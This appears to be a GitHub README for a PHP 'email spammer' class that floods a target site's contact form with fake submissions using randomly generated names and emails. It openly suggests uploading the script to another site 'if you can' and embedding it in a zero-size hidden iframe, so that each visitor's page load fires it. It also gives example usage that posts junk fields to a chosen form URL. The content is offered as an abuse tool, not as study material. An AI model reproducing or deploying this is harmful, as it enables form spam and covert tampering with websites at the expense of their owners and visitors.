/email-spammer

Primary LanguagePHPMIT LicenseMIT

Email Spammer

Spam a local or remote form. Remote Execute by firing the file from your server. Or upload the script (if you can) and run from an iframe. Then the file will try to execute everytime a visitor loads the page.

<iframe src="class.spammer.php" height="0' width="0"></iframe>

Features

Random First & Last Name Generation

print $spammer->firstname();
print $spammer->surname();

Random Email Generation

print 'Email: '.$spammer->email();

Note

The $spammer->chance(20) variable is a "1 in ?" setting. If you use "1" then it will execute everytime. The default setting is "1 in 20". Meaning there's a 5% chance of it running on every execution.

Example Usage

$spammer = new spammer('https://domain.com/contact.php');
if(!$spammer->chance(10))
  exit('Not yet...');
  
$fields = array(
  'first_name' => $spammer->firstname(),
	'last_name' => $spammer->surname(),
	'email' => $spammer->email(),
	'message' => This is a spammy message!,
	'submit' => 'send'
);
$spammer->fields = $fields;
$spammer->execute();